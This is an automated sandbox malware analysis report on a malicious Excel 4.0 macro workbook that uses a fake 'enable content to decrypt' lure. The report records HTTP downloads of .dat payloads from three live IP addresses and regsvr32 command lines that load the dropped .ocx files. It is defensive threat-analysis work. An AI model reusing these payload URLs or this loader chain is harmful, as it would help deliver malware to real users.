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Windows Analysis Report ClaimCopy-355714047-12022021.xlsb

Overview

General Information

Sample Name:	ClaimCopy-355714047-12022021.xlsb
Analysis ID:	532933
MD5:	1f51fa867f5bbce3ab1cc40bf75f7f9b
SHA1:	2c690539b53f4db35af92e2b88880c3d76fcd323
SHA256:	f3dc3443c7ba185b1c8eff63807384e9bb6734fa0774d9964213dd9baf3fb3c3
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Multi AV Scanner detection for submitted file

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Detected potential crypto function

Potential document exploit detected (performs HTTP gets)

IP address seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2812 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2064 cmdline: regsvr32 C:\ProgramData\Volet1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1240 cmdline: regsvr32 C:\ProgramData\Volet2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1812 cmdline: regsvr32 C:\ProgramData\Volet3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2832 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 392 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1164 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2812, ProcessCommandLine: regsvr32 C:\ProgramData\Volet1.ocx, ProcessId: 2064

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: ClaimCopy-355714047-12022021.xlsb

Virustotal: Detection: 10%

Perma Link

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.82.126.78:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 158.69.133.78:80

Source: global traffic	HTTP traffic detected: GET /574766024224.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 158.69.133.78Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /574766024224.dat2 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 158.69.133.78Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 45.142.211.62 45.142.211.62
Source: Joe Sandbox View	IP Address: 158.69.133.78 158.69.133.78
Source: Joe Sandbox View	IP Address: 185.82.126.78 185.82.126.78

Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 45.142.211.62
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 185.82.126.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.133.78

Source: EXCEL.EXE, 00000000.00000002.1042379648.0000000007E14000.00000004.00000001.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000002.1042379648.0000000007E14000.00000004.00000001.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 19:49:37 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 19:51:44 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	String found in binary or memory: http://158.69.133.78/574766024224.dat
Source: EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	String found in binary or memory: http://158.69.133.78/574766024224.dat2
Source: EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	String found in binary or memory: http://185.82.126.78/574766024224.dat
Source: EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	String found in binary or memory: http://185.82.126.78/574766024224.dat2
Source: EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	String found in binary or memory: http://185.82.126.78/574766024224.dat29
Source: EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	String found in binary or memory: http://45.142.211.62/574766024224.dat
Source: EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	String found in binary or memory: http://45.142.211.62/574766024224.dat#/
Source: EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	String found in binary or memory: http://45.142.211.62/574766024224.dat2
Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000006.00000002.1035342275.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1035333395.0000000003A00000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000006.00000002.1034758219.0000000001D50000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1034921258.0000000001E40000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000006.00000002.1035342275.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1035333395.0000000003A00000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD699F23.jpg

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /574766024224.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 158.69.133.78Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /574766024224.dat2 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 158.69.133.78Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 ~EcmwARNNG Thisfileoriginate
Source: Screenshot number: 4	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Screenshot number: 4	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: ClaimCopy-355714047-12022021.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: ClaimCopy-355714047-12022021.xlsb

Initial sample: Sheet name: Tiposa1

Source: ClaimCopy-355714047-12022021.xlsb	Macro extractor: Sheet name: Tiposa1
Source: ClaimCopy-355714047-12022021.xlsb	Macro extractor: Sheet name: Tiposa

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02197820	0_2_02197820
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196753	0_2_02196753
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196340	0_2_02196340
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196743	0_2_02196743
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_021966F3	0_2_021966F3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_021966E8	0_2_021966E8

Source: ClaimCopy-355714047-12022021.xlsb

Virustotal: Detection: 10%

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx	Jump to behavior

Source: EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$ClaimCopy-355714047-12022021.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD123.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.expl.evad.winXLSB@13/5@0/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ClaimCopy-355714047-12022021.xlsb	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: ClaimCopy-355714047-12022021.xlsb	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: C8260000.0.dr	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: C8260000.0.dr	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
